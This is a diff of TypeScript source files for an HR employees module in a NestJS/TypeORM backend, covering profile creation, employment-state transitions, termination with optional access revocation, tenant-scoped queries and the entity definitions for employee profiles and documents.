import { EmployeeDocumentsService } from "./employee-documents.service";
import { EmployeesController } from "./employees.controller";
import { JobTitlesModule } from "../job-titles/job-titles.module";
@Module({
imports: [
TypeOrmModule.forFeature([EmployeeProfile, EmployeeDocument]),
// For the job-title validation on create/update. Imported rather than
// reaching into the repository directly, so the ownership stays with the
// job-titles module.
JobTitlesModule,
],
controllers: [EmployeesController],
providers: [
EmployeesRepository,
EmployeeDocumentsRepository,
EmployeesService,
EmployeeDocumentsService,
],
// Leave (3.2), payroll (3.4) and appraisals (3.6) all need to resolve a
// profile and its effective manager.
exports: [EmployeesService, EmployeesRepository],
})
export class EmployeesModule {}

View File

@@ -0,0 +1,185 @@
import { Injectable } from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { BaseRepository } from "@edr/api-common";
import { In, Repository, SelectQueryBuilder } from "typeorm";
import { EmployeeProfile } from "./entities/employee-profile.entity";
import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto";
/** Columns a client may sort by. Anything else is a 400 rather than SQL injected. */
const SORTABLE = new Set([
"employeeNumber",
"hireDate",
"employmentState",
"employmentType",
"createdAt",
"updatedAt",
]);
@Injectable()
export class EmployeesRepository extends BaseRepository<EmployeeProfile> {
constructor(
@InjectRepository(EmployeeProfile)
repository: Repository<EmployeeProfile>,
) {
super(repository);
}
static isSortable(column: string): boolean {
return SORTABLE.has(column);
}
findByEmployeeId(employeeId: string): Promise<EmployeeProfile | null> {
return this.repository.findOne({ where: { employeeId } });
}
findByEmployeeIds(employeeIds: string[]): Promise<EmployeeProfile[]> {
if (!employeeIds.length) return Promise.resolve([]);
return this.repository.find({ where: { employeeId: In(employeeIds) } });
}
findByEmployeeNumber(employeeNumber: string): Promise<EmployeeProfile | null> {
return this.repository.findOne({ where: { employeeNumber } });
}
/**
* The highest numeric suffix issued platform-wide.
*
* Reads through soft-deleted rows (`withDeleted`) on purpose: an employee
* number must never be reissued, or a payslip archive would point at two
* different people.
*/
async findHighestEmployeeNumberSuffix(prefix: string): Promise<number> {
const row = await this.repository
.createQueryBuilder("profile")
.withDeleted()
.select(
`MAX(NULLIF(regexp_replace(profile.employee_number, '^' || :prefix, ''), '')::bigint)`,
"max",
)
.where("profile.employee_number ~ :pattern", {
pattern: `^${prefix}[0-9]+$`,
})
.setParameter("prefix", prefix)
.getRawOne<{ max: string | null }>();
return row?.max ? parseInt(row.max, 10) : 0;
}
/** Profiles whose manager override points at this employee. */
findDirectReportsByOverride(
managerEmployeeId: string,
): Promise<EmployeeProfile[]> {
return this.repository.find({ where: { managerEmployeeId } });
}
/**
* Filtered, paginated page of profiles.
*
* `search` deliberately matches only `employee_number` here. Name, username and
* email live in `iam` and are resolved separately by the service through
* `IamDirectoryService`, then intersected — this repository never reaches
* across the schema boundary itself.
*/
async findPage(
organizationId: string | null,
filters: FindEmployeeProfilesDto,
options: {
employeeIdWhitelist?: string[] | null;
unitEmployeeIds?: string[] | null;
} = {},
): Promise<[EmployeeProfile[], number]> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
// `null` = every organization (super admin). Starting from a always-true
// predicate keeps the andWhere chain below identical in both cases.
const qb: SelectQueryBuilder<EmployeeProfile> = this.repository
.createQueryBuilder("profile")
.leftJoinAndSelect("profile.jobTitle", "jobTitle")
.where("1 = 1");
// The profile stores no organization — scope through IAM. EXISTS rather
// than a JOIN so the row count is unaffected and paging stays correct.
if (organizationId) {
qb.andWhere(
`EXISTS (SELECT 1 FROM iam.employees e
WHERE e.id = profile.employee_id
AND e.organization_id = :organizationId)`,
{ organizationId },
);
}
if (filters.employmentState) {
qb.andWhere("profile.employment_state = :employmentState", {
employmentState: filters.employmentState,
});
}
if (filters.employmentType) {
qb.andWhere("profile.employment_type = :employmentType", {
employmentType: filters.employmentType,
});
}
if (filters.jobTitleId) {
qb.andWhere("profile.job_title_id = :jobTitleId", {
jobTitleId: filters.jobTitleId,
});
}
if (filters.managerEmployeeId) {
qb.andWhere("profile.manager_employee_id = :managerEmployeeId", {
managerEmployeeId: filters.managerEmployeeId,
});
}
if (filters.search) {
qb.andWhere("profile.employee_number ILIKE :search", {
search: `%${filters.search}%`,
});
}
// An empty whitelist means "the IAM-side filter matched nobody" — that is a
// genuine empty page, not an absent filter, so it must not be skipped.
if (options.employeeIdWhitelist) {
if (!options.employeeIdWhitelist.length) return [[], 0];
qb.andWhere("profile.employee_id IN (:...whitelist)", {
whitelist: options.employeeIdWhitelist,
});
}
if (options.unitEmployeeIds) {
if (!options.unitEmployeeIds.length) return [[], 0];
qb.andWhere("profile.employee_id IN (:...unitEmployeeIds)", {
unitEmployeeIds: options.unitEmployeeIds,
});
}
const sortBy =
filters.sortBy && EmployeesRepository.isSortable(filters.sortBy)
? filters.sortBy
: "createdAt";
qb.orderBy(`profile.${sortBy}`, filters.sortOrder ?? "DESC")
.skip((page - 1) * limit)
.take(limit);
return qb.getManyAndCount();
}
/** Headcount by employment state, for the HR dashboard. One query, not six. */
countByEmploymentState(
organizationId: string | null,
): Promise<{ employmentState: string; count: string }[]> {
const qb = this.repository
.createQueryBuilder("profile")
.select("profile.employment_state", "employmentState")
.addSelect("COUNT(*)::text", "count");
if (organizationId) {
qb.where(
`EXISTS (SELECT 1 FROM iam.employees e
WHERE e.id = profile.employee_id
AND e.organization_id = :organizationId)`,
{ organizationId },
);
}
return qb
.groupBy("profile.employment_state")
.getRawMany<{ employmentState: string; count: string }>();
}
}

View File

@@ -0,0 +1,822 @@
import {
BadRequestException,
ConflictException,
ForbiddenException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { formatEthiopianDateAmharic } from "@tria-plc/api-common/utils/date-convertor";
import { EmployeesRepository } from "./employees.repository";
import { EmployeeProfile } from "./entities/employee-profile.entity";
import {
EEmploymentState,
EEmploymentType,
} from "./entities/employee-profile.entity";
import { CreateEmployeeProfileDto } from "./dto/create-employee-profile.dto";
import {
TerminateEmployeeDto,
UpdateEmployeeProfileDto,
} from "./dto/update-employee-profile.dto";
import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto";
import { EmployeeProfileResponseDto } from "./dto/employee-profile-response.dto";
import {
DirectoryRow,
IamDirectoryService,
} from "../../iam-directory/iam-directory.service";
import { IamOperationsService } from "../../iam-directory/iam-operations.service";
import { JobTitlesRepository } from "../job-titles/job-titles.repository";
import { Paginated, paginate } from "../../common/pagination.dto";
/** Employment types the pension scheme excludes by default (§3.4). */
const PENSION_EXCLUDED_TYPES = new Set<EEmploymentType>([
EEmploymentType.CONTRACT,
EEmploymentType.INTERN,
EEmploymentType.PART_TIME,
]);
/**
* States a profile may move to. TERMINATED and RETIRED are terminal — reversing
* one would leave a termination date and a live employment on the same row, and
* the payroll run reads both.
*/
/** Employment states after which no login should survive. */
const ENDED_STATES = new Set<EEmploymentState>([
EEmploymentState.TERMINATED,
EEmploymentState.RETIRED,
]);
const ALLOWED_TRANSITIONS: Record<EEmploymentState, EEmploymentState[]> = {
[EEmploymentState.PROBATION]: [
EEmploymentState.ACTIVE,
EEmploymentState.SUSPENDED,
EEmploymentState.ON_LEAVE,
EEmploymentState.TERMINATED,
],
[EEmploymentState.ACTIVE]: [
EEmploymentState.SUSPENDED,
EEmploymentState.ON_LEAVE,
EEmploymentState.TERMINATED,
EEmploymentState.RETIRED,
],
[EEmploymentState.SUSPENDED]: [
EEmploymentState.ACTIVE,
EEmploymentState.TERMINATED,
],
[EEmploymentState.ON_LEAVE]: [
EEmploymentState.ACTIVE,
EEmploymentState.SUSPENDED,
EEmploymentState.TERMINATED,
],
[EEmploymentState.TERMINATED]: [],
[EEmploymentState.RETIRED]: [],
};
const EMPLOYEE_NUMBER_PREFIX = "EMP-";
/**
* Cap on the id set a search resolves before the real page runs. A term matching
* more people than this silently loses the tail, so it is set well above any
* realistic organization's headcount rather than at a page size.
*/
const SEARCH_FANOUT_LIMIT = 2000;
const MAX_MANAGER_CHAIN_DEPTH = 32;
export type ActorContext = {
/** `iam.employees.id` of the caller, or null for a non-staff token. */
employeeId: string | null;
/** `iam.users.id` of the caller — what audit columns record. */
userId: string;
/**
* The caller's own organization. Still recorded for super admins, because a
* row they CREATE has to belong somewhere — it just no longer limits reads.
*/
organizationId: string;
/**
* Super admins read and write across every organization.
*
* Tenancy is normally independent of permissions here: `HrPermissionGuard`
* waives permission checks for a super admin, but scoping is a separate rule
* and waiving it is a deliberate product decision, not a side effect. This
* flag is the single place that decision lives.
*/
isSuperAdmin: boolean;
};
/**
* The organization filter for a request: `null` means "every organization",
* which repositories translate into omitting the WHERE clause entirely.
*
* Every scoped query goes through this rather than reading `actor.organizationId`
* directly, so a new query cannot forget the super-admin case.
*/
export const orgScope = (actor: ActorContext): string | null =>
actor.isSuperAdmin ? null : actor.organizationId;
@Injectable()
export class EmployeesService {
constructor(
private readonly employeesRepository: EmployeesRepository,
private readonly jobTitlesRepository: JobTitlesRepository,
private readonly iamDirectory: IamDirectoryService,
private readonly iamOperations: IamOperationsService,
) {}
// ────────────────────────────────────────────────────────────────────────
// Derivations
// ────────────────────────────────────────────────────────────────────────
/**
* Pension default: permanent and seconded staff contribute, everyone else does
* not (§3.4). An explicit value from the caller always wins — the exclusion is
* organizational policy, not statute, and payroll must be able to record the
* exception rather than work around it.
*/
static derivePensionEligibility(
employmentType: EEmploymentType,
explicit?: boolean,
): boolean {
if (explicit !== undefined) return explicit;
return !PENSION_EXCLUDED_TYPES.has(employmentType);
}
/**
* A new profile starts on PROBATION when a probation end date is set, and
* ACTIVE otherwise. Stated explicitly rather than defaulted in the entity so
* that "no probation period" is a real, recorded decision.
*/
static deriveInitialState(
probationEndDate?: string | null,
explicit?: EEmploymentState,
): EEmploymentState {
if (explicit) return explicit;
return probationEndDate
? EEmploymentState.PROBATION
: EEmploymentState.ACTIVE;
}
/** Ethiopian-calendar rendering, or null for an absent date. */
private static async toAmharicDate(
isoDate?: string | null,
): Promise<string | null> {
if (!isoDate) return null;
const timestamp = new Date(isoDate).getTime();
if (Number.isNaN(timestamp)) return null;
return formatEthiopianDateAmharic(timestamp, true);
}
/**
* The next employee number for an organization.
*
* Globally unique, not per organization — see the entity for why. Derived
* from the highest suffix already issued INCLUDING soft-deleted rows, so a
* number is never reused. Two concurrent creates can still pick the same
* value; the unique index on `employee_number` is what actually guarantees
* uniqueness.
*/
private async nextEmployeeNumber(): Promise<string> {
const highest =
await this.employeesRepository.findHighestEmployeeNumberSuffix(
EMPLOYEE_NUMBER_PREFIX,
);
return `${EMPLOYEE_NUMBER_PREFIX}${String(highest + 1).padStart(5, "0")}`;
}
// ────────────────────────────────────────────────────────────────────────
// Validation
// ────────────────────────────────────────────────────────────────────────
private static assertDateOrder(dto: {
hireDate?: string;
probationEndDate?: string | null;
contractEndDate?: string | null;
}): void {
const { hireDate, probationEndDate, contractEndDate } = dto;
if (!hireDate) return;
if (probationEndDate && probationEndDate < hireDate) {
throw new BadRequestException(
"probationEndDate cannot be before hireDate",
);
}
if (contractEndDate && contractEndDate < hireDate) {
throw new BadRequestException("contractEndDate cannot be before hireDate");
}
}
private async assertJobTitleBelongsToOrg(
jobTitleId: string,
organizationId: string | null,
): Promise<void> {
const jobTitle = await this.jobTitlesRepository.findById(jobTitleId);
if (!jobTitle || (organizationId && jobTitle.organizationId !== organizationId)) {
throw new BadRequestException(
`Job title ${jobTitleId} does not exist in this organization`,
);
}
}
/**
* A manager override must name a real IAM employee, must not be the employee
* themselves, and must not close a reporting cycle.
*
* The cycle walk follows overrides only. A cycle through the IAM position
* hierarchy is IAM's invariant to keep, and re-validating it here would make
* HR reject profiles over a structure it does not own.
*/
private async assertManagerOverrideIsSane(
employeeId: string,
managerEmployeeId: string,
): Promise<void> {
if (managerEmployeeId === employeeId) {
throw new BadRequestException("An employee cannot be their own manager");
}
await this.iamDirectory.requireEmployee(managerEmployeeId);
const seen = new Set<string>([employeeId]);
let cursor: string | null = managerEmployeeId;
for (let depth = 0; depth < MAX_MANAGER_CHAIN_DEPTH && cursor; depth += 1) {
if (seen.has(cursor)) {
throw new BadRequestException(
`Manager override would create a reporting cycle at employee ${cursor}`,
);
}
seen.add(cursor);
const managerProfile: EmployeeProfile | null =
await this.employeesRepository.findByEmployeeId(cursor);
cursor = managerProfile?.managerEmployeeId ?? null;
}
}
// ────────────────────────────────────────────────────────────────────────
// Commands
// ────────────────────────────────────────────────────────────────────────
async create(
dto: CreateEmployeeProfileDto,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
// The IAM employee is the extension point, so it has to exist and it decides
// which organization the profile belongs to — the caller does not get to say.
//
// It must ALSO be the caller's own organization. Falling back to the actor's
// org when IAM disagreed would let someone create a profile scoped to another
// tenant, which every read here then filters out — a row the creator can
// never see again. (Observed against the live database, which has three
// organizations and units belonging to each.)
const iamEmployee = await this.iamDirectory.requireEmployee(dto.employeeId);
// The organization is read from IAM for the tenancy check and then thrown
// away — it is deliberately NOT stored on the profile. IAM owns that fact.
const organizationId = iamEmployee.organizationId;
if (!organizationId) {
throw new ForbiddenException(
`IAM employee ${dto.employeeId} has no organization`,
);
}
if (!actor.isSuperAdmin && organizationId !== actor.organizationId) {
throw new ForbiddenException(
`Employee ${dto.employeeId} belongs to another organization`,
);
}
const existing = await this.employeesRepository.findByEmployeeId(
dto.employeeId,
);
if (existing) {
throw new ConflictException(
`Employee ${dto.employeeId} already has HR profile ${existing.id}`,
);
}
EmployeesService.assertDateOrder(dto);
if (dto.jobTitleId) {
await this.assertJobTitleBelongsToOrg(dto.jobTitleId, organizationId);
}
if (dto.managerEmployeeId) {
await this.assertManagerOverrideIsSane(
dto.employeeId,
dto.managerEmployeeId,
);
}
let employeeNumber = dto.employeeNumber;
if (employeeNumber) {
const clash =
await this.employeesRepository.findByEmployeeNumber(employeeNumber);
if (clash) {
throw new ConflictException(
`Employee number ${employeeNumber} is already in use`,
);
}
} else {
employeeNumber = await this.nextEmployeeNumber();
}
const profile = await this.employeesRepository.create({
...dto,
employeeNumber,
employmentState: EmployeesService.deriveInitialState(
dto.probationEndDate,
dto.employmentState,
),
isPensionEligible: EmployeesService.derivePensionEligibility(
dto.employmentType,
dto.isPensionEligible,
),
amharicHireDate: await EmployeesService.toAmharicDate(dto.hireDate),
amharicDateOfBirth: await EmployeesService.toAmharicDate(dto.dateOfBirth),
createdBy: actor.userId,
updatedBy: actor.userId,
});
return this.toResponse(profile, iamEmployee);
}
async update(
id: string,
dto: UpdateEmployeeProfileDto,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
const profile = await this.requireProfile(id, orgScope(actor));
EmployeesService.assertDateOrder({
hireDate: dto.hireDate ?? profile.hireDate,
probationEndDate: dto.probationEndDate ?? profile.probationEndDate,
contractEndDate: dto.contractEndDate ?? profile.contractEndDate,
});
if (dto.jobTitleId) {
// The profile no longer stores an organization; read the employee's from
// IAM so a job title from another tenant is still refused.
const iam = await this.iamDirectory.findEmployee(profile.employeeId);
await this.assertJobTitleBelongsToOrg(
dto.jobTitleId,
iam?.organizationId ?? null,
);
}
if (dto.managerEmployeeId) {
await this.assertManagerOverrideIsSane(
profile.employeeId,
dto.managerEmployeeId,
);
}
if (
dto.employeeNumber &&
dto.employeeNumber !== profile.employeeNumber
) {
const clash = await this.employeesRepository.findByEmployeeNumber(
dto.employeeNumber,
);
if (clash) {
throw new ConflictException(
`Employee number ${dto.employeeNumber} is already in use`,
);
}
}
// Pension eligibility follows a changed employment type unless the caller
// states otherwise in the same request — otherwise moving someone from
// CONTRACT to PERMANENT would silently leave them out of the pension.
const employmentType = dto.employmentType ?? profile.employmentType;
const isPensionEligible =
dto.isPensionEligible !== undefined
? dto.isPensionEligible
: dto.employmentType
? EmployeesService.derivePensionEligibility(employmentType)
: profile.isPensionEligible;
const updated = await this.employeesRepository.update(id, {
...dto,
isPensionEligible,
...(dto.hireDate
? { amharicHireDate: await EmployeesService.toAmharicDate(dto.hireDate) }
: {}),
...(dto.dateOfBirth
? {
amharicDateOfBirth: await EmployeesService.toAmharicDate(
dto.dateOfBirth,
),
}
: {}),
updatedBy: actor.userId,
});
return this.toResponse(updated ?? profile);
}
/**
* Move a profile between employment states.
*
* Every state change goes through here so the transition table is enforced in
* exactly one place — the deactivate/reinstate/terminate endpoints are thin
* wrappers over it rather than three separate implementations.
*/
private async transition(
profile: EmployeeProfile,
next: EEmploymentState,
actor: ActorContext,
extra: Partial<EmployeeProfile> = {},
): Promise<EmployeeProfile> {
const allowed = ALLOWED_TRANSITIONS[profile.employmentState] ?? [];
if (!allowed.includes(next)) {
throw new BadRequestException(
`Cannot move employment state from ${profile.employmentState} to ${next}` +
(allowed.length
? `. Allowed: ${allowed.join(", ")}`
: ". This state is terminal."),
);
}
const updated = await this.employeesRepository.update(profile.id, {
...extra,
employmentState: next,
updatedBy: actor.userId,
});
return updated ?? profile;
}
async suspend(
id: string,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
const profile = await this.requireProfile(id, orgScope(actor));
return this.toResponse(
await this.transition(profile, EEmploymentState.SUSPENDED, actor),
);
}
async reinstate(
id: string,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
const profile = await this.requireProfile(id, orgScope(actor));
return this.toResponse(
await this.transition(profile, EEmploymentState.ACTIVE, actor),
);
}
/**
* End an employment.
*
* Terminal, and it deliberately does NOT soft-delete the row: payroll history,
* the tax report and the pension report all read terminated employees for the
* period they worked. Removal, if it ever happens, is a retention decision made
* separately.
*/
async terminate(
id: string,
dto: TerminateEmployeeDto,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
const profile = await this.requireProfile(id, orgScope(actor));
const terminationDate =
dto.terminationDate ?? new Date().toISOString().slice(0, 10);
if (terminationDate < profile.hireDate) {
throw new BadRequestException(
"terminationDate cannot be before hireDate",
);
}
const finalState = dto.finalState ?? EEmploymentState.TERMINATED;
// Anyone whose manager override points at this person is now reporting to
// someone who has left. Clearing it falls back to the IAM position
// hierarchy, which is the correct answer far more often than a dangling id.
const reports =
await this.employeesRepository.findDirectReportsByOverride(
profile.employeeId,
);
for (const report of reports) {
await this.employeesRepository.update(report.id, {
managerEmployeeId: null,
updatedBy: actor.userId,
});
}
const terminated = await this.transition(profile, finalState, actor, {
terminationDate,
terminationReason: dto.terminationReason ?? null,
});
// Revoking access is a separate, opt-in step. The HR state change is already
// committed by this point, so a failure here must not undo it — the profile
// comes back flagged ACCESS_OUTLIVES_EMPLOYMENT and the account can be
// deactivated from the detail page instead.
if (dto.revokeSystemAccess) {
await this.setSystemAccess(terminated, false).catch(() => undefined);
}
return this.toResponse(terminated);
}
/**
* Turn the IAM account behind a profile on or off.
*
* IAM owns the login; HR owns the employment. Neither writes the other's
* state, so this is the one place HR is allowed to reach across — and only
* when a human asks for it explicitly.
*/
async setIamAccountActive(
id: string,
active: boolean,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
const profile = await this.requireProfile(id, orgScope(actor));
// Restoring a login to somebody HR says has left is precisely the mistake
// this pairing exists to prevent. Reinstate the employment first; that is a
// decision with a record behind it.
if (active && ENDED_STATES.has(profile.employmentState)) {
throw new BadRequestException(
`Cannot restore system access: this employment is ${profile.employmentState}. ` +
"Employment must be reinstated before the account is.",
);
}
await this.setSystemAccess(profile, active);
return this.toResponse(profile);
}
/**
* The IAM call itself, with its one asymmetry made explicit.
*
* Deactivating ends every position the employee holds (`end_date = now`,
* `is_current = false`); activating restores the account and its status but
* NOT those assignments. Reactivating therefore leaves somebody logged in with
* no post — the caller is warned, and the org explorer is where they are put
* back.
*/
private async setSystemAccess(
profile: EmployeeProfile,
active: boolean,
): Promise<void> {
if (active) {
await this.iamOperations.activateEmployee(profile.employeeId);
return;
}
await this.iamOperations.deactivateEmployee(profile.employeeId);
}
// ────────────────────────────────────────────────────────────────────────
// Queries
// ────────────────────────────────────────────────────────────────────────
/**
* The employee list: EVERY current IAM employee, with their onboarding state.
*
* Driven from IAM rather than from `hr.employee_profiles`, because a list of
* profiles alone showed 0 people against 2,427 real employees and offered no
* way to reach the rest. `isOnboarded` distinguishes the two, and
* `ensureProfile` turns an un-onboarded row into a real one.
*/
async findDirectory(
filters: FindEmployeeProfilesDto,
actor: ActorContext,
): Promise<Paginated<DirectoryRow>> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const unitIds = filters.unitId
? await this.iamDirectory.findUnitSubtreeIds(filters.unitId)
: null;
const { items, total } = await this.iamDirectory.findEmployeeDirectoryPage({
organizationId: orgScope(actor),
search: filters.search,
unitIds,
onboarded: filters.onboarded,
employmentState: filters.employmentState,
limit,
offset: (page - 1) * limit,
});
return paginate(items, total, page, limit);
}
/** Profiles only — kept for callers that genuinely need HR rows. */
async findAll(
filters: FindEmployeeProfilesDto,
actor: ActorContext,
): Promise<Paginated<EmployeeProfileResponseDto>> {
// A search term has to reach IAM: name, username and email live there, while
// the employee number lives here. Resolve both sides into one id whitelist,
// then run the real page against it — that keeps the schema boundary intact
// and still gives a single paginated result set.
//
// `pageFilters` drops `search` once the whitelist exists: leaving it in would
// re-apply the employee-number LIKE on top of the whitelist, and an employee
// matched by NAME in IAM would be filtered straight back out.
let employeeIdWhitelist: string[] | null = null;
let pageFilters = filters;
if (filters.search) {
const [iamMatches, [numberMatches]] = await Promise.all([
this.iamDirectory.searchEmployees(filters.search, SEARCH_FANOUT_LIMIT),
this.employeesRepository.findPage(orgScope(actor), {
...filters,
page: 1,
limit: SEARCH_FANOUT_LIMIT,
}),
]);
employeeIdWhitelist = [
...new Set([
...iamMatches.map((match) => match.id),
...numberMatches.map((profile) => profile.employeeId),
]),
];
const { search: _search, ...withoutSearch } = filters;
pageFilters = withoutSearch;
}
let unitEmployeeIds: string[] | null = null;
if (filters.unitId) {
const unitIds = await this.iamDirectory.findUnitSubtreeIds(
filters.unitId,
);
const employees = await this.iamDirectory.findEmployeesByUnits(unitIds);
unitEmployeeIds = employees.map((e) => e.id);
}
const [profiles, total] = await this.employeesRepository.findPage(
orgScope(actor),
pageFilters,
{ employeeIdWhitelist, unitEmployeeIds },
);
// One IAM round trip for the whole page, never one per row.
const iamById = await this.iamDirectory.findEmployees(
profiles.map((p) => p.employeeId),
);
return paginate(
profiles.map((profile) =>
EmployeeProfileResponseDto.from(
profile,
iamById.get(profile.employeeId) ?? null,
),
),
total,
filters.page ?? 1,
filters.limit ?? 25,
);
}
async findOne(
id: string,
actor: ActorContext,
): Promise<EmployeeProfileResponseDto> {
const profile = await this.requireProfile(id, orgScope(actor));
return this.toResponse(profile);
}
/**
* The caller's own profile. Distinct from `findOne` because self-service holds
* `can:view_own:employee_profile` and must not be able to read anyone else by
* guessing an id.
*/
async findOwn(actor: ActorContext): Promise<EmployeeProfileResponseDto> {
if (!actor.employeeId) {
throw new ForbiddenException(
"This account is not linked to an employee record",
);
}
const profile = await this.employeesRepository.findByEmployeeId(
actor.employeeId,
);
if (!profile) {
throw new NotFoundException("You do not have an HR profile yet");
}
return this.toResponse(profile);
}
/** Headcount by state, for the HR dashboard KPI row. */
async headcountSummary(
actor: ActorContext,
): Promise<{ total: number; byState: Record<string, number> }> {
const rows = await this.employeesRepository.countByEmploymentState(
orgScope(actor),
);
const byState: Record<string, number> = {};
let total = 0;
for (const row of rows) {
const count = parseInt(row.count, 10);
byState[row.employmentState] = count;
total += count;
}
return { total, byState };
}
/**
* The manager who actually approves for this employee: the override when set,
* otherwise the holder of the parent position in IAM. Leave (3.2) and
* appraisals (3.6) both route through this, so the rule lives here rather than
* being re-derived per module.
*/
async resolveEffectiveManager(
profile: EmployeeProfile,
): Promise<{ employeeId: string | null; overridden: boolean }> {
if (profile.managerEmployeeId) {
return { employeeId: profile.managerEmployeeId, overridden: true };
}
return {
employeeId: await this.iamDirectory.findLineManagerEmployeeId(
profile.employeeId,
),
overridden: false,
};
}
/** Loads a profile and enforces organization scoping in one place. */
/**
* Loads a profile and enforces organization scoping in one place.
*
* `organizationId: null` skips the check — a super admin reads across
* organizations. Deliberately a 404 rather than a 403 for everyone else: an
* out-of-scope id should be indistinguishable from a missing one, or the
* endpoint becomes a way to probe which ids exist in other tenants.
*/
async requireProfile(
id: string,
organizationId: string | null,
): Promise<EmployeeProfile> {
const profile = await this.employeesRepository.findById(id);
if (!profile) throw new NotFoundException(`Employee profile ${id} not found`);
// Tenancy is checked against IAM, since the profile no longer stores an
// organization. One extra lookup by primary key, and it cannot go stale.
if (organizationId) {
const iam = await this.iamDirectory.findEmployee(profile.employeeId);
if (iam?.organizationId !== organizationId) {
throw new NotFoundException(`Employee profile ${id} not found`);
}
}
return profile;
}
/**
* Auto-provision: return this employee's HR profile, creating a minimal one
* if they do not have it yet.
*
* Mirrors how the passenger app lazily provisions `passenger.Passenger` on
* first login. It exists so the IAM/HR split is invisible in daily use — an
* HR officer opening someone's record should not first have to "create a
* profile", and no screen should dead-end on a person who plainly exists.
*
* Only the facts HR can know without asking are set: employment type defaults
* to PERMANENT and the hire date to the IAM record's creation date, which is
* the closest defensible proxy. Both are flagged by `isProvisional` so the UI
* can prompt for the real values rather than presenting a guess as fact.
*/
async ensureProfile(
employeeId: string,
actor: ActorContext,
): Promise<EmployeeProfile> {
const existing = await this.employeesRepository.findByEmployeeId(employeeId);
if (existing) return existing;
const iamEmployee = await this.iamDirectory.requireEmployee(employeeId);
if (
!actor.isSuperAdmin &&
iamEmployee.organizationId !== actor.organizationId
) {
throw new ForbiddenException(
`Employee ${employeeId} belongs to another organization`,
);
}
// node-postgres hydrates timestamptz into a Date, so normalise before
// slicing to the YYYY-MM-DD the column expects.
const createdAt = iamEmployee.createdAt
? new Date(iamEmployee.createdAt)
: new Date();
const hireDate = Number.isNaN(createdAt.getTime())
? new Date().toISOString().slice(0, 10)
: createdAt.toISOString().slice(0, 10);
return this.employeesRepository.create({
employeeId,
employeeNumber: await this.nextEmployeeNumber(),
employmentType: EEmploymentType.PERMANENT,
hireDate,
amharicHireDate: await EmployeesService.toAmharicDate(hireDate),
employmentState: EEmploymentState.ACTIVE,
isPensionEligible: EmployeesService.derivePensionEligibility(
EEmploymentType.PERMANENT,
),
isProvisional: true,
createdBy: actor.userId,
updatedBy: actor.userId,
});
}
private async toResponse(
profile: EmployeeProfile,
iamEmployee?: Awaited<ReturnType<IamDirectoryService["findEmployee"]>>,
): Promise<EmployeeProfileResponseDto> {
const iam =
iamEmployee ?? (await this.iamDirectory.findEmployee(profile.employeeId));
const manager = await this.resolveEffectiveManager(profile);
return EmployeeProfileResponseDto.from(profile, iam, manager);
}
}

View File

@@ -0,0 +1,89 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Column,
Entity,
Index,
JoinColumn,
ManyToOne,
PrimaryGeneratedColumn,
} from "typeorm";
import { EmployeeProfile } from "./employee-profile.entity";
export enum EEmployeeDocumentType {
CONTRACT = "CONTRACT",
CERTIFICATE = "CERTIFICATE",
EDUCATION = "EDUCATION",
NATIONAL_ID = "NATIONAL_ID",
PASSPORT = "PASSPORT",
DRIVING_LICENCE = "DRIVING_LICENCE",
CV = "CV",
MEDICAL = "MEDICAL",
DISCIPLINARY = "DISCIPLINARY",
OTHER = "OTHER",
}
/**
* An employee's HR file. The bytes live in DMS/MinIO; this row is the HR-side
* index — what the document is, when it expires, and who it belongs to.
*
* `documentId` is a soft reference to DMS, deliberately without an FK (DMS is a
* separate service). A row whose DMS object has been deleted still tells HR that
* a contract was once filed and when it expired, which is the auditable fact.
*/
@Entity({ schema: "hr", name: "employee_documents" })
@Index("idx_employee_documents_profile", ["employeeProfileId"])
@Index("idx_employee_documents_expiry", ["expiryDate"])
export class EmployeeDocument extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "employee_profile_id" })
employeeProfileId!: string;
@ManyToOne(() => EmployeeProfile, (profile) => profile.documents, {
onDelete: "CASCADE",
})
@JoinColumn({ name: "employee_profile_id" })
employeeProfile?: EmployeeProfile;
@Column({ type: "varchar", length: 32, name: "document_type" })
documentType!: EEmployeeDocumentType;
/** Soft reference → the DMS document id. */
@Column({ type: "uuid", name: "document_id" })
documentId!: string;
@Column({
type: "varchar",
length: 128,
name: "document_number",
nullable: true,
})
documentNumber?: string | null;
@Column({ type: "date", name: "issue_date", nullable: true })
issueDate?: string | null;
/**
* Drives the expiring-documents report (3.7) and the renewal reminder. The
* organization is not stored here — the report scopes by joining through
* `hr.employee_profiles` to `iam.employees`.
*/
@Column({ type: "date", name: "expiry_date", nullable: true })
expiryDate?: string | null;
@Column({
type: "varchar",
length: 128,
name: "issuing_authority",
nullable: true,
})
issuingAuthority?: string | null;
@Column({ type: "jsonb", name: "notes", nullable: true })
notes?: { am: string; en: string } | null;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
}

View File

@@ -0,0 +1,314 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Column,
Entity,
Index,
JoinColumn,
ManyToOne,
OneToMany,
PrimaryGeneratedColumn,
Unique,
} from "typeorm";
import { EmployeeDocument } from "./employee-document.entity";
import { JobTitle } from "../../job-titles/entities/job-title.entity";
export enum EEmploymentType {
PERMANENT = "PERMANENT",
CONTRACT = "CONTRACT",
INTERN = "INTERN",
PART_TIME = "PART_TIME",
SECONDED = "SECONDED",
}
export enum EEmploymentState {
PROBATION = "PROBATION",
ACTIVE = "ACTIVE",
SUSPENDED = "SUSPENDED",
ON_LEAVE = "ON_LEAVE",
TERMINATED = "TERMINATED",
RETIRED = "RETIRED",
}
export enum EGender {
MALE = "MALE",
FEMALE = "FEMALE",
}
export enum EMaritalStatus {
SINGLE = "SINGLE",
MARRIED = "MARRIED",
DIVORCED = "DIVORCED",
WIDOWED = "WIDOWED",
}
